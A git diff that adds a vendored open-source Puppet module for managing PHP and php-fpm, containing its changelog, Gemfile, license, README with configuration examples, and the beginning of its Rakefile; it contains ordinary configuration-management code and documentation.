puppetlabs-stdlib lower bound to 4.13.1 + +### Removed +- Deprecated `php::extension` define parameters `pecl_source`. Use `source` instead. +- PHP 5.5 support on ubuntu. + +### Added +- `php` class parameters `fpm_user` and `fpm_group` to customize php-fpm user/group. +- `php::fpm` class parameters `user` and `group`. +- `php::fpm::pool` define parameter `pm_process_idle_timeout` and pool.conf `pm.process_idle_timeout` directive. +- `php::extension` class parameters `ini_prefix` and `install_options`. +- Archlinux compatibility. +- Bumped puppetlabs-apt upper bound to 5.0.0 + +### Fixed +- Replaced validate functions with data types. +- Linting issues. +- Replace legacy facts with facts hash. +- Simplify `php::extension` +- Only apt dependency when `manage_repos => true` +- No more example42/yum dependency + +## 2017-02-11 Release [4.0.0] + +This is the last release with Puppet3 support! +* Fix a bug turning `manage_repos` off on wheezy +* Fix a deprecation warning on `apt::key` when using `manage_repos` on wheezy (#110). This change requires puppetlabs/apt at >= 1.8.0 +* Allow removal of config values (#124) +* Add `phpversion` fact, for querying through PuppetDB or Foreman (#119) +* Allow configuring the fpm pid file (#123) +* Add embedded SAPI support (#115) +* Add options to fpm config and pool configs (#139) +* Add parameter logic for PHP 7 on Ubuntu/Debian (#180) +* add SLES PHP 7.0 Support (#220) +* allow packaged extensions to be loaded as zend extensions +* Fix command to enable php extensions (#226) +* Fix many rucocop warnings +* Update module Ubuntu 14.04 default to official repository setup +* Fix dependency for extentions with no package source +* Allow packaged extensions to be loaded as Zend extensions +* Support using an http proxy for downloading composer +* Refactor classes php::fpm and php::fpm:service +* Manage apache/PHP configurations on Debian and RHEL systems +* use voxpupuli/archive to download composer +* respect $manage_repos, do not include ::apt if set to false +* Bump min version_requirement for Puppet + deps +* allow pipe param for pecl extensions +* Fix: composer auto_update: exec's environment must be array + +### Breaking Changes + * Deep merge `php::extensions` the same way as `php::settings`. This technically is a + breaking change but should not affect many people. + * PHP 5.6 is the default version on all systems now (except Ubuntu 16.04, where 7.0 is the default). + * There's a php::globals class now, where global paramters (like the PHP version) are set. (#132) + * Removal of php::repo::ubuntu::ppa (#218) + +## 3.4.2 + * Fix a bug that changed the default of `php::manage_repos` to `false` on + Debian-based operating systems except wheezy. It should be turned on by + default. (#116) + * Fix a bug that prevented reloading php-fpm on Ubuntu in some cases. + (#117, #107) + +## 3.4.1 + * Fix reloading php-fpm on Ubuntu trusty & utopic (#107) + +## 3.4.0 + * New parameter `ppa` for class `php::repo::ubuntu` to specify the ppa + name to use. We default to `ondrej/php5-oldstable` for precise and + `ondrej/php5` otherwise. + * New parameter `include` for `php::fpm::pool` resources to specify + custom configuration files. + +## 3.3.1 + * Make `systemd_interval` parameter for class `php::fpm::config` optional + +## 3.3.0 + * `php::extension` resources: + * New boolean parameter `settings_prefix` to automatically prefix all + settings keys with the extensions names. Defaults to false to ensurre + the current behaviour. + * New string parameter `so_name` to set the DSO name of an extension if + it doesn't match the package name. + * New string parameter `php_api_version` to set a custom api version. If + not `undef`, the `so_name` is prefixed with the full module path in the + ini file. Defaults to `undef`. + * The default of the parameter `listen_allowed_clients` of `php::fpm::pool` + resources is now `undef` instead of `'127.0.0.1'`. This way it is more + intuitive to change the default tcp listening socket at `127.0.0.1:9000` + to a unix socket by only setting the `listen` parameter instead of + additionally needing to unset `listen_allowed_clients`. This has no + security implications. + * New parameters for the `php::fpm::config` class: + * `error_log` + * `syslog_facility` + * `syslog_ident` + * `systemd_interval` + * A bug that prevented merging the global `php::settings` parameter into + SAPI configs for `php::cli` and `php::fpm` was fixed. + * The dotdeb repos are now only installed for Debian wheezy as Debian jessie + has a sufficiently recent PHP version. + +## 3.2.2 + * Fix a typo in hiera keys `php::settings` & `php::fpm::settings` (#83) + +## 3.2.1 + * Fixed default `yum_repo` key in `php::repo::redhat` + * On Ubuntu precise we now use the ondrej/php5-oldstable ppa. This can be + manually enabled with by setting `$php::repo::ubuntu::oldstable` to + `true`. + * `$php::ensure` now defaults to `present` instead of `latest`. Though, + strictly speaking, this represents a functional change, we consider this + to be a bugfix because automatic updates should be enabled explicitely. + * `$php::ensure` is not anymore passed to `php::extension` resources as + default ensure parameter because this doesn't make sense. + +## 3.2.0 + * Support for FreeBSD added by Frank Wall + * RedHat now uses remi-php56 yum repo by default + * The resource `php::fpm::pool` is now public, you can use it in your + manifests without using `$php::fpm::pools` + * We now have autogenerated documentation using `puppetlabs/strings` + +## 3.1.0 + * New parameter `pool_purge` for `php::extension` to remove files not + managed by puppet from the pool directory. + * The `pecl_source` parameter for `php::extension` was renamend to + `source` because it is also useful for PEAR extensions. + `pecl_source` can still be used but is deprecated and will be + removed in the next major release. + * Parameters referring to time in `php::fpm::config` can now be + specified with units (i.e. `'60s'`, `'1d'`): + * `emergency_restart_threshold` + * `emergency_restart_interval` + * `process_control_timeout` + * The PEAR version is not independant of `$php::ensure` and can be + configured with `$php::pear_ensure` + * Give special thanks to the contributors of this release: + * Petr Sedlacek + * Sherlan Moriah + +## 3.0.1 + * Fix typo in package suffix for php-fpm on RHEL in params.pp + +## 3.0.0 + * Removes `$php::fpm::pool::error_log`. Use the `php_admin_flag` and + `php_admin_value` parameters to set the php settings `log_errors` and + `error_log` instead. + * Removes support for PHP 5.3 on Debian-based systems. See the notes in the + README for more information. + * Removes the `php_version` fact which had only worked on the later puppet runs. + * Moves CLI-package handling to `php::packages` + * Allows changing the package prefix via `php::package_prefix`. + * Moves FPM-package handling from `php::fpm::package` to `php::fpm` + * Changes `php::packages`, so that `php::packages::packages` becomes + `php::packages::names` and are installed and `php::packages::names_to_prefix` + are installed prefixed by `php::package_prefix`. + * PHPUnit is now installed as phar in the same way composer is installed, + causing all parameters to change + * The `php::extension` resource has a new parameter: `zend`. If set to true, + exenstions that were installed with pecl are loaded with `zend_extension`. + +## 2.0.4 + * Style fixes all over the place + * Module dependencies are now bound to the current major version + +## 2.0.3 + * Some issues & bugs with extensions were fixed + * If you set the `provider` parameter of an extension to `"none"`, no + extension packages will be installed + * The EPEL yum repo has been added for RedHat systems + +## 2.0.2 + * Adds support for `header_packages` on all extensions + * Adds `install_options` to pear package provider + +## 2.0.1 + * This is a pure bug fix release + * Fix for CVE 2014-0185 (https://bugs.php.net/bug.php?id=67060) + +## 2.0.0 + * Remove augeas and switch to puppetlabs/inifile for configs + * Old: `settings => [‘set PHP/short_open_tag On‘]` + * New: `settings => {‘PHP/short_open_tag’ => ‘On‘}` + * Settings parmeter cleanups + * The parameter `config` of `php::extension` resources is now called `settings` + * The parameters `user` and `group` of `php::fpm` have been moved to `php::fpm::config` + * New parameter `php::settings` for global settings (i.e. CLI & FPM) + * New parameter `php::cli` to disable CLI if supported + +## 1.1.2 + * SLES: PHP 5.5 will now be installed + * Pecl extensions now autoload the .so based on $name instead of $title + +## 1.1.1 + * some nasty bugs with the pecl php::extension provider were fixed + * php::extension now has a new pecl_source parameter for specifying custom + source channels for the pecl provider + +## 1.1.0 + * add phpunit to main class + * fix variable access for augeas + +## 1.0.2 + * use correct suse apache service name + * fix anchoring of augeas + +## 1.0.1 + * fixes #9 undefined pool_base_dir + +## 1.0.0 +Initial release + +[4.1.0]: https://github.com/olivierlacan/keep-a-changelog/compare/v4.0.0...v4.1.0 +[4.0.0]: https://github.com/olivierlacan/keep-a-changelog/compare/v3.4.2...v4.0.0 + + +\* *This Changelog was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)* \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/Gemfile b/modules/utilities/unix/web_frameworks/php/Gemfile new file mode 100644 index 000000000..57fcafa19 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/Gemfile @@ -0,0 +1,77 @@ +source ENV['GEM_SOURCE'] || "https://rubygems.org" + +def location_for(place, fake_version = nil) + if place =~ /^(git[:@][^#]*)#(.*)/ + [fake_version, { :git => $1, :branch => $2, :require => false }].compact + elsif place =~ /^file:\/\/(.*)/ + ['>= 0', { :path => File.expand_path($1), :require => false }] + else + [place, { :require => false }] + end +end + +group :test do + gem 'puppetlabs_spec_helper', '~> 2.6.0', :require => false + gem 'rspec-puppet', '~> 2.5', :require => false + gem 'rspec-puppet-facts', :require => false + gem 'rspec-puppet-utils', :require => false + gem 'puppet-lint-leading_zero-check', :require => false + gem 'puppet-lint-trailing_comma-check', :require => false + gem 'puppet-lint-version_comparison-check', :require => false + gem 'puppet-lint-classes_and_types_beginning_with_digits-check', :require => false + gem 'puppet-lint-unquoted_string-check', :require => false + gem 'puppet-lint-variable_contains_upcase', :require => false + gem 'metadata-json-lint', :require => false + gem 'redcarpet', :require => false + gem 'rubocop', '~> 0.49.1', :require => false if RUBY_VERSION >= '2.3.0' + gem 'rubocop-rspec', '~> 1.15.0', :require => false if RUBY_VERSION >= '2.3.0' + gem 'mocha', '>= 1.2.1', :require => false + gem 'coveralls', :require => false + gem 'simplecov-console', :require => false + gem 'rack', '~> 1.0', :require => false if RUBY_VERSION < '2.2.2' + gem 'parallel_tests', :require => false +end + +group :development do + gem 'travis', :require => false + gem 'travis-lint', :require => false + gem 'guard-rake', :require => false + gem 'overcommit', '>= 0.39.1', :require => false +end + +group :system_tests do + gem 'winrm', :require => false + if beaker_version = ENV['BEAKER_VERSION'] + gem 'beaker', *location_for(beaker_version) + else + gem 'beaker', '>= 3.9.0', :require => false + end + if beaker_rspec_version = ENV['BEAKER_RSPEC_VERSION'] + gem 'beaker-rspec', *location_for(beaker_rspec_version) + else + gem 'beaker-rspec', :require => false + end + gem 'serverspec', :require => false + gem 'beaker-puppet_install_helper', :require => false + gem 'beaker-module_install_helper', :require => false +end + +group :release do + gem 'github_changelog_generator', :require => false, :git => 'https://github.com/skywinder/github-changelog-generator' if RUBY_VERSION >= '2.2.2' + gem 'puppet-blacksmith', :require => false + gem 'voxpupuli-release', :require => false, :git => 'https://github.com/voxpupuli/voxpupuli-release-gem' + gem 'puppet-strings', '~> 1.0', :require => false +end + + + +if facterversion = ENV['FACTER_GEM_VERSION'] + gem 'facter', facterversion.to_s, :require => false, :groups => [:test] +else + gem 'facter', :require => false, :groups => [:test] +end + +ENV['PUPPET_VERSION'].nil? ? puppetversion = '~> 5.0' : puppetversion = ENV['PUPPET_VERSION'].to_s +gem 'puppet', puppetversion, :require => false, :groups => [:test] + +# vim: syntax=ruby diff --git a/modules/utilities/unix/web_frameworks/php/HISTORY.md b/modules/utilities/unix/web_frameworks/php/HISTORY.md new file mode 100644 index 000000000..7d7db7a61 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/HISTORY.md @@ -0,0 +1,222 @@ +## [v5.0.0](https://github.com/voxpupuli/puppet-php/tree/v5.0.0) (2017-08-07) +### Summary +This backwards-incompatible release drops puppet 3, PHP 5.5 on Ubuntu, and the deprecated `php::extension` parameter `pecl_source`. It improves much of the internal code quality, and adds several useful features the most interesting of which is probably the `php::extension` parameter `ini_prefix`. + +### Changed +- Drop puppet 3 compatibility. +- Bumped puppetlabs-apt lower bound to 4.1.0 +- Bumped puppetlabs-stdlib lower bound to 4.13.1 + +### Removed +- Deprecated `php::extension` define parameters `pecl_source`. Use `source` instead. +- PHP 5.5 support on ubuntu. + +### Added +- `php` class parameters `fpm_user` and `fpm_group` to customize php-fpm user/group. +- `php::fpm` class parameters `user` and `group`. +- `php::fpm::pool` define parameter `pm_process_idle_timeout` and pool.conf `pm.process_idle_timeout` directive. +- `php::extension` class parameters `ini_prefix` and `install_options`. +- Archlinux compatibility. +- Bumped puppetlabs-apt upper bound to 5.0.0 + +### Fixed +- Replaced validate functions with data types. +- Linting issues. +- Replace legacy facts with facts hash. +- Simplify `php::extension` +- Only apt dependency when `manage_repos => true` +- No more example42/yum dependency + +## 2017-02-11 Release [4.0.0] + +This is the last release with Puppet3 support! +* Fix a bug turning `manage_repos` off on wheezy +* Fix a deprecation warning on `apt::key` when using `manage_repos` on wheezy (#110). This change requires puppetlabs/apt at >= 1.8.0 +* Allow removal of config values (#124) +* Add `phpversion` fact, for querying through PuppetDB or Foreman (#119) +* Allow configuring the fpm pid file (#123) +* Add embedded SAPI support (#115) +* Add options to fpm config and pool configs (#139) +* Add parameter logic for PHP 7 on Ubuntu/Debian (#180) +* add SLES PHP 7.0 Support (#220) +* allow packaged extensions to be loaded as zend extensions +* Fix command to enable php extensions (#226) +* Fix many rucocop warnings +* Update module Ubuntu 14.04 default to official repository setup +* Fix dependency for extentions with no package source +* Allow packaged extensions to be loaded as Zend extensions +* Support using an http proxy for downloading composer +* Refactor classes php::fpm and php::fpm:service +* Manage apache/PHP configurations on Debian and RHEL systems +* use voxpupuli/archive to download composer +* respect $manage_repos, do not include ::apt if set to false +* Bump min version_requirement for Puppet + deps +* allow pipe param for pecl extensions +* Fix: composer auto_update: exec's environment must be array + +### Breaking Changes + * Deep merge `php::extensions` the same way as `php::settings`. This technically is a + breaking change but should not affect many people. + * PHP 5.6 is the default version on all systems now (except Ubuntu 16.04, where 7.0 is the default). + * There's a php::globals class now, where global paramters (like the PHP version) are set. (#132) + * Removal of php::repo::ubuntu::ppa (#218) + +## 3.4.2 + * Fix a bug that changed the default of `php::manage_repos` to `false` on + Debian-based operating systems except wheezy. It should be turned on by + default. (#116) + * Fix a bug that prevented reloading php-fpm on Ubuntu in some cases. + (#117, #107) + +## 3.4.1 + * Fix reloading php-fpm on Ubuntu trusty & utopic (#107) + +## 3.4.0 + * New parameter `ppa` for class `php::repo::ubuntu` to specify the ppa + name to use. We default to `ondrej/php5-oldstable` for precise and + `ondrej/php5` otherwise. + * New parameter `include` for `php::fpm::pool` resources to specify + custom configuration files. + +## 3.3.1 + * Make `systemd_interval` parameter for class `php::fpm::config` optional + +## 3.3.0 + * `php::extension` resources: + * New boolean parameter `settings_prefix` to automatically prefix all + settings keys with the extensions names. Defaults to false to ensurre + the current behaviour. + * New string parameter `so_name` to set the DSO name of an extension if + it doesn't match the package name. + * New string parameter `php_api_version` to set a custom api version. If + not `undef`, the `so_name` is prefixed with the full module path in the + ini file. Defaults to `undef`. + * The default of the parameter `listen_allowed_clients` of `php::fpm::pool` + resources is now `undef` instead of `'127.0.0.1'`. This way it is more + intuitive to change the default tcp listening socket at `127.0.0.1:9000` + to a unix socket by only setting the `listen` parameter instead of + additionally needing to unset `listen_allowed_clients`. This has no + security implications. + * New parameters for the `php::fpm::config` class: + * `error_log` + * `syslog_facility` + * `syslog_ident` + * `systemd_interval` + * A bug that prevented merging the global `php::settings` parameter into + SAPI configs for `php::cli` and `php::fpm` was fixed. + * The dotdeb repos are now only installed for Debian wheezy as Debian jessie + has a sufficiently recent PHP version. + +## 3.2.2 + * Fix a typo in hiera keys `php::settings` & `php::fpm::settings` (#83) + +## 3.2.1 + * Fixed default `yum_repo` key in `php::repo::redhat` + * On Ubuntu precise we now use the ondrej/php5-oldstable ppa. This can be + manually enabled with by setting `$php::repo::ubuntu::oldstable` to + `true`. + * `$php::ensure` now defaults to `present` instead of `latest`. Though, + strictly speaking, this represents a functional change, we consider this + to be a bugfix because automatic updates should be enabled explicitely. + * `$php::ensure` is not anymore passed to `php::extension` resources as + default ensure parameter because this doesn't make sense. + +## 3.2.0 + * Support for FreeBSD added by Frank Wall + * RedHat now uses remi-php56 yum repo by default + * The resource `php::fpm::pool` is now public, you can use it in your + manifests without using `$php::fpm::pools` + * We now have autogenerated documentation using `puppetlabs/strings` + +## 3.1.0 + * New parameter `pool_purge` for `php::extension` to remove files not + managed by puppet from the pool directory. + * The `pecl_source` parameter for `php::extension` was renamend to + `source` because it is also useful for PEAR extensions. + `pecl_source` can still be used but is deprecated and will be + removed in the next major release. + * Parameters referring to time in `php::fpm::config` can now be + specified with units (i.e. `'60s'`, `'1d'`): + * `emergency_restart_threshold` + * `emergency_restart_interval` + * `process_control_timeout` + * The PEAR version is not independant of `$php::ensure` and can be + configured with `$php::pear_ensure` + * Give special thanks to the contributors of this release: + * Petr Sedlacek + * Sherlan Moriah + +## 3.0.1 + * Fix typo in package suffix for php-fpm on RHEL in params.pp + +## 3.0.0 + * Removes `$php::fpm::pool::error_log`. Use the `php_admin_flag` and + `php_admin_value` parameters to set the php settings `log_errors` and + `error_log` instead. + * Removes support for PHP 5.3 on Debian-based systems. See the notes in the + README for more information. + * Removes the `php_version` fact which had only worked on the later puppet runs. + * Moves CLI-package handling to `php::packages` + * Allows changing the package prefix via `php::package_prefix`. + * Moves FPM-package handling from `php::fpm::package` to `php::fpm` + * Changes `php::packages`, so that `php::packages::packages` becomes + `php::packages::names` and are installed and `php::packages::names_to_prefix` + are installed prefixed by `php::package_prefix`. + * PHPUnit is now installed as phar in the same way composer is installed, + causing all parameters to change + * The `php::extension` resource has a new parameter: `zend`. If set to true, + exenstions that were installed with pecl are loaded with `zend_extension`. + +## 2.0.4 + * Style fixes all over the place + * Module dependencies are now bound to the current major version + +## 2.0.3 + * Some issues & bugs with extensions were fixed + * If you set the `provider` parameter of an extension to `"none"`, no + extension packages will be installed + * The EPEL yum repo has been added for RedHat systems + +## 2.0.2 + * Adds support for `header_packages` on all extensions + * Adds `install_options` to pear package provider + +## 2.0.1 + * This is a pure bug fix release + * Fix for CVE 2014-0185 (https://bugs.php.net/bug.php?id=67060) + +## 2.0.0 + * Remove augeas and switch to puppetlabs/inifile for configs + * Old: `settings => [‘set PHP/short_open_tag On‘]` + * New: `settings => {‘PHP/short_open_tag’ => ‘On‘}` + * Settings parmeter cleanups + * The parameter `config` of `php::extension` resources is now called `settings` + * The parameters `user` and `group` of `php::fpm` have been moved to `php::fpm::config` + * New parameter `php::settings` for global settings (i.e. CLI & FPM) + * New parameter `php::cli` to disable CLI if supported + +## 1.1.2 + * SLES: PHP 5.5 will now be installed + * Pecl extensions now autoload the .so based on $name instead of $title + +## 1.1.1 + * some nasty bugs with the pecl php::extension provider were fixed + * php::extension now has a new pecl_source parameter for specifying custom + source channels for the pecl provider + +## 1.1.0 + * add phpunit to main class + * fix variable access for augeas + +## 1.0.2 + * use correct suse apache service name + * fix anchoring of augeas + +## 1.0.1 + * fixes #9 undefined pool_base_dir + +## 1.0.0 +Initial release + +[4.1.0]: https://github.com/olivierlacan/keep-a-changelog/compare/v4.0.0...v4.1.0 +[4.0.0]: https://github.com/olivierlacan/keep-a-changelog/compare/v3.4.2...v4.0.0 diff --git a/modules/utilities/unix/web_frameworks/php/LICENSE.txt b/modules/utilities/unix/web_frameworks/php/LICENSE.txt new file mode 100644 index 000000000..89dce46c0 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/LICENSE.txt @@ -0,0 +1,23 @@ +The MIT License (MIT) + +Copyright (c) 2012-2013 Christian "Jippi" Winther + Tobias Nyholm + 2014-2015 Mayflower GmbH + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/modules/utilities/unix/web_frameworks/php/README.md b/modules/utilities/unix/web_frameworks/php/README.md new file mode 100644 index 000000000..c49ed40af --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/README.md @@ -0,0 +1,334 @@ +[![Puppet Forge](http://img.shields.io/puppetforge/v/puppet/php.svg)](https://forge.puppetlabs.com/puppet/php) +[![Build Status](https://travis-ci.org/voxpupuli/puppet-php.svg?branch=master)](https://travis-ci.org/voxpupuli/puppet-php) + +## Current Status +As the original creators of `puppet-php` are no longer maintaining the module, it has been handed over into the care of Vox Pupuli. +Please be sure to update all your links to the new location. + +# voxpupuli/php Puppet Module + +voxpupuli/php is a Puppet module for managing PHP with a strong focus +on php-fpm. The module aims to use sane defaults for the supported +architectures. We strive to support all recent versions of Debian, +Ubuntu, RedHat/CentOS, openSUSE/SLES and FreeBSD. Managing Apache +with `mod_php` is not supported. + +This originally was a fork of [jippi/puppet-php](https://github.com/jippi/puppet-php) +(nodes-php on Puppet Forge) but has since been rewritten in large parts. + +## Usage + +Quickest way to get started is simply `include`'ing the _`php` class_. + +```puppet +include '::php' +``` + +Or, you can override defaults and specify additional custom +configurations by declaring `class { '::php': }` with parameters: + +```puppet +class { '::php': + ensure => latest, + manage_repos => true, + fpm => true, + dev => true, + composer => true, + pear => true, + phpunit => false, +} +``` + +Optionally the PHP version or configuration root directory can be changed also: + +```puppet +class { '::php::globals': + php_version => '7.0', + config_root => '/etc/php/7.0', +}-> +class { '::php': + manage_repos => true +} +``` + +There are more configuration options available. Please refer to the +auto-generated documentation at http://php.puppet.mayflower.de/. + +### Defining `php.ini` settings + +PHP configuration parameters in `php.ini` files can be defined as parameter +`settings` on the main `php` class, or `php::fpm` / `php::cli` classes, +or `php::extension` resources for each component independently. + +These settings are written into their respective `php.ini` file. Global +settings in `php::settings` are merged with the settings of all components. +Please note that settings of extensions are always independent. + +In the following example the PHP options and timezone will be set in +all PHP configurations, i.e. the PHP cli application and all php-fpm pools. + +```puppet + class { '::php': + settings => { + 'PHP/max_execution_time' => '90', + 'PHP/max_input_time' => '300', + 'PHP/memory_limit' => '64M', + 'PHP/post_max_size' => '32M', + 'PHP/upload_max_filesize' => '32M', + 'Date/date.timezone' => 'Europe/Berlin', + }, + } +``` + +### Installing extensions + +PHP configuration parameters in `php.ini` files can be defined +as parameter `extensions` on the main `php` class. They are +activated for all activated SAPIs. + +```puppet + class { '::php': + extensions => { + bcmath => { }, + imagick => { + provider => pecl, + }, + xmlrpc => { }, + memcached => { + provider => 'pecl', + header_packages => [ 'libmemcached-devel', ], + }, + apc => { + provider => 'pecl', + settings => { + 'apc/stat' => '1', + 'apc/stat_ctime' => '1', + }, + sapi => 'fpm', + }, + }, + } +``` + +See [the documentation](http://php.puppet.mayflower.de/php/extension.html) +of the `php::extension` resource for all available parameters and default +values. + +### Defining php-fpm pools + +If different php-fpm pools are required, you can use `php::fpm::pool` +defined resource type. A single pool called `www` will be configured +by default. Specify additional pools like so: + +```puppet + php::fpm::pool { 'www2': + listen => '127.0.1.1:9000', + } +``` + +For an overview of all possible parameters for `php::fpm::pool` resources +please see [its documention](http://php.puppet.mayflower.de/php/fpm/pool.html). + +### Overriding php-fpm user + +By default, php-fpm is set up to run as Apache. If you need to customize that user, you can do that like so: + +```puppet + class { '::php': + fpm_user => 'nginx', + fpm_group => 'nginx', + } +``` + +### PHP with one FPM pool per user + +This will create one vhost. $users is an array of people having php files at +$fqdn/$user. This codesnipped uses voxpupuli/php and voxpupuli/nginx to create +the vhost and one php fpm pool per user. This was tested on Archlinux with +nginx 1.13 and PHP 7.2.3. + +```puppet +$users = ['bob', 'alice'] + +class { 'php': + ensure => 'present', + manage_repos => false, + fpm => true, + dev => false, + composer => false, + pear => true, + phpunit => false, + fpm_pools => {}, +} + +include nginx + +nginx::resource::server{$facts['fqdn']: + www_root => '/var/www', + autoindex => 'on', +} +nginx::resource::location{'dontexportprivatedata': + server => $facts['fqdn'], + location => '~ /\.', + location_deny => ['all'], +} +$users.each |$user| { + # create one fpm pool. will be owned by the specific user + # fpm socket will be owned by the nginx user 'http' + php::fpm::pool{$user: + user => $user, + group => $user, + listen_owner => 'http', + listen_group => 'http', + listen_mode => '0660', + listen => "/var/run/php-fpm/${user}-fpm.sock", + } + nginx::resource::location { "${name}_root": + ensure => 'present', + server => $facts['fqdn'], + location => "~ .*${user}\/.*\.php$", + index_files => ['index.php'], + fastcgi => "unix:/var/run/php-fpm/${user}-fpm.sock", + include => ['fastcgi.conf'], + } +} +``` + +### Alternative examples using Hiera +Alternative to the Puppet DSL code examples above, you may optionally define your PHP configuration using Hiera. + +Below are all the examples you see above, but defined in YAML format for use with Hiera. + +```yaml +--- +php::ensure: latest +php::manage_repos: true +php::fpm: true +php::fpm_user: 'nginx' +php::fpm_group: 'nginx' +php::dev: true +php::composer: true +php::pear: true +php::phpunit: false +php::settings: + 'PHP/max_execution_time': '90' + 'PHP/max_input_time': '300' + 'PHP/memory_limit': '64M' + 'PHP/post_max_size': '32M' + 'PHP/upload_max_filesize': '32M' + 'Date/date.timezone': 'Europe/Berlin' +php::extensions: + bcmath: {} + xmlrpc: {} + imagick: + provider: pecl + memcached: + provider: pecl + header_packages: + - libmemcached-dev + apc: + provider: pecl + settings: + 'apc/stat': 1 + 'apc/stat_ctime': 1 + sapi: 'fpm' +php::fpm::pools: + www2: + listen: '127.0.1.1:9000' +``` + +## Notes + +### Debian squeeze & Ubuntu precise come with PHP 5.3 + +On Debian-based systems, we use `php5enmod` to enable extension-specific +configuration. This script is only present in `php5` packages beginning with +version 5.4. Furthermore, PHP 5.3 is not supported by upstream anymore. + +We strongly suggest you use a recent PHP version, even if you're using an +older though still supported distribution release. Our default is to have +`php::manage_repos` enabled to add apt sources for +[Dotdeb](http://www.dotdeb.org/) on Debian and +[ppa:ondrej/php5](https://launchpad.net/~ondrej/+archive/ubuntu/php5/) on +Ubuntu with packages for the current stable PHP version closely tracking +upstream. + +### Ubuntu systems and OndÅ™ej's PPA + +The older Ubuntu PPAs run by OndÅ™ej have been deprecated (ondrej/php5, ondrej/php5.6) +in favor of a new PPA: ondrej/php which contains all 3 versions of PHP: 5.5, 5.6, and 7.0 +Here's an example in hiera of getting PHP 5.6 installed with php-fpm, pear/pecl, and composer: + +``` +php::globals::php_version: '5.6' +php::fpm: true +php::dev: true +php::composer: true +php::pear: true +php::phpunit: false +``` + +If you do not specify a php version, in Ubuntu the default will be 7.0 if you are +running Xenial (16.04), otherwise PHP 5.6 will be installed (for other versions) + +### Apache support + +Apache with `mod_php` is not supported by this module. Please use +[puppetlabs/apache](https://forge.puppetlabs.com/puppetlabs/apache) instead. + +We prefer using php-fpm. You can find an example Apache vhost in +`manifests/apache_vhost.pp` that shows you how to use `mod_proxy_fcgi` to +connect to php-fpm. + +### Facts + +We deliver a `phpversion` fact with this module. This is explicitly **NOT** intended +to be used within your puppet manifests as it will only work on your second puppet +run. Its intention is to make querying PHP versions per server easy via PuppetDB or Foreman. + +### FreeBSD support + +On FreeBSD systems we purge the system-wide `extensions.ini` in favour of +per-module configuration files. + +Please also note that support for Composer and PHPUnit on FreeBSD is untested +and thus likely incomplete. + +### Running the test suite + +To run the tests install the ruby dependencies with `bundler` and execute +`rake`: + +``` +bundle install --path vendor/bundle +bundle exec rake +``` + +## Bugs & New Features + +If you happen to stumble upon a bug, please feel free to create a pull request +with a fix (optionally with a test), and a description of the bug and how it +was resolved. + +Or if you're not into coding, simply create an issue adding steps to let us +reproduce the bug and we will happily fix it. + +If you have a good idea for a feature or how to improve this module in general, +please create an issue to discuss it. We are very open to feedback. Pull +requests are always welcome. + +We hate orphaned and unmaintained Puppet modules as much as you do and +therefore promise that we will continue to maintain this module and keep +response times to issues short. If we happen to lose interest, we will write +a big fat warning into this README to let you know. + +## License + +The project is released under the permissive MIT license. + +The source can be found at +[github.com/voxpupuli/puppet-php](https://github.com/voxpupuli/puppet-php/). + +This Puppet module was originally maintained by some fellow puppeteers at +[Mayflower GmbH](https://mayflower.de) and is now maintained by +[Vox Pupuli](https://voxpupuli.org/). diff --git a/modules/utilities/unix/web_frameworks/php/Rakefile b/modules/utilities/unix/web_frameworks/php/Rakefile new file mode 100644 index 000000000..279580ac6 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/Rakefile @@ -0,0 +1,92 @@ +require 'puppetlabs_spec_helper/rake_tasks' + +# load optional tasks for releases +# only available if gem group releases is installed +begin + require 'puppet_blacksmith/rake_tasks' + require 'voxpupuli/release/rake_tasks' + require 'puppet-strings/tasks' +rescue LoadError +end + +PuppetLint.configuration.log_format = '%{path}:%{line}:%{check}:%{KIND}:%{message}' +PuppetLint.configuration.fail_on_warnings = true +PuppetLint.configuration.send('relative') +PuppetLint.configuration.send('disable_140chars') +PuppetLint.configuration.send('disable_class_inherits_from_params_class') +PuppetLint.configuration.send('disable_documentation') +PuppetLint.configuration.send('disable_single_quote_string_with_variables') + +exclude_paths = %w( + pkg/**/* + vendor/**/* + .vendor/**/* + spec/**/* +) +PuppetLint.configuration.ignore_paths = exclude_paths +PuppetSyntax.exclude_paths = exclude_paths + +desc 'Auto-correct puppet-lint offenses' +task 'lint:auto_correct' do + PuppetLint.configuration.fix = true + Rake::Task[:lint].invoke +end + +desc 'Run acceptance tests' +RSpec::Core::RakeTask.new(:acceptance) do |t| + t.pattern = 'spec/acceptance' +end + +desc 'Run tests metadata_lint, release_checks' +task test: [ + :metadata_lint, + :release_checks, +] + +desc "Run main 'test' task and report merged results to coveralls" +task test_with_coveralls: [:test] do + if Dir.exist?(File.expand_path('../lib', __FILE__)) + require 'coveralls/rake/task' + Coveralls::RakeTask.new + Rake::Task['coveralls:push'].invoke + else + puts 'Skipping reporting to coveralls. Module has no lib dir' + end +end + +desc "Print supported beaker sets" +task 'beaker_sets', [:directory] do |t, args| + directory = args[:directory] + + metadata = JSON.load(File.read('metadata.json')) + + (metadata['operatingsystem_support'] || []).each do |os| + (os['operatingsystemrelease'] || []).each do |release| + if directory + beaker_set = "#{directory}/#{os['operatingsystem'].downcase}-#{release}" + else + beaker_set = "#{os['operatingsystem'].downcase}-#{release}-x64" + end + + filename = 